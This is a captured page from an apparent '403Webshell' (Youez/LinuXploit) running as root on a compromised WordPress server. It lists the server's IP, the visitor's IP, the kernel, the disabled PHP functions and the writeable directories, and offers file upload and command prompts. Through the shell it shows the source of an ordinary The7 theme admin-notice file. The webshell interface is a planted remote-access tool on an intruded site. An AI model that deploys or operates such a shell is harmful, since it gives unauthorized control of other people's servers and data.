403Webshell
Server IP : 38.190.208.107  /  Your IP : 216.73.216.187
Web Server : nginx/1.28.1
System : Linux ht2026040333114 6.1.0-10-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.37-1 (2023-07-03) x86_64
User : root ( 0)
PHP Version : 8.2.28
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv,eval,assert,passthru,system,exec,shell_exec,popen,proc_open
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /www/wwwroot/wp.9/wp-content/themes/dt-the7/inc/admin/notices/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/wwwroot/wp.9/wp-content/themes/dt-the7/inc/admin/notices/the7-block-editor-obsolete.php
<?php

namespace The7\Admin\Notices;

defined( 'ABSPATH' ) || exit;

class The7_Block_Editor_Obsolete extends Abstract_Notice {

	public function render() {
		?>

		<p role="heading"><?php esc_html_e( 'The7 Block Editor is obsolete', 'the7mk2' ); ?></p>
		<p>
			<?php esc_html_e( 'All its features have been transferred to the Better Block Editor (BBE) and BBE Plus plugins.', 'the7mk2' ); ?>
		</p>
		<p>
			<a id="the7-block-editor-obsolete-run-migration" href="#">
				<?php esc_html_e( 'Install and run the database update', 'the7mk2' ); ?>
			</a>
		</p>

		<form id="the7-block-editor-obsolete-migration-form" action="<?php echo esc_url( admin_url( 'admin-post.php' ) ); ?>" method="post" class="hidden">
			<?php wp_nonce_field( 'the7-dev-tools' ); ?>
			<input type="hidden" name="action" value="the7_use_dev_tool">
			<input type="hidden" name="migration" value="12.10.0">
			<button type="submit" class="button" name="tool" value="run_migration"><?php esc_html_e( 'Migrate', 'the7mk2' ); ?></button>
		</form>

		<script type="text/javascript">
			document.getElementById('the7-block-editor-obsolete-run-migration').addEventListener('click', function(e) {
				e.preventDefault();
				document.querySelector('#the7-block-editor-obsolete-migration-form button[type="submit"]').click();
			});
		</script>

		<?php
	}

	public function get_code() {
		return 'the7_block_editor_obsolete';
	}

	public function is_visible() {
		if ( ! current_user_can( 'update_plugins' ) ) {
			return false;
		}

		if ( ! function_exists( 'is_plugin_active' ) ) {
			include_once ABSPATH . 'wp-admin/includes/plugin.php';
		}

		return is_plugin_active( 'the7-block-editor/the7-block-editor.php' );
	}

	public function get_wrapper_class() {
		return 'the7-dashboard-notice notice-warning the7-debug-notice';
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit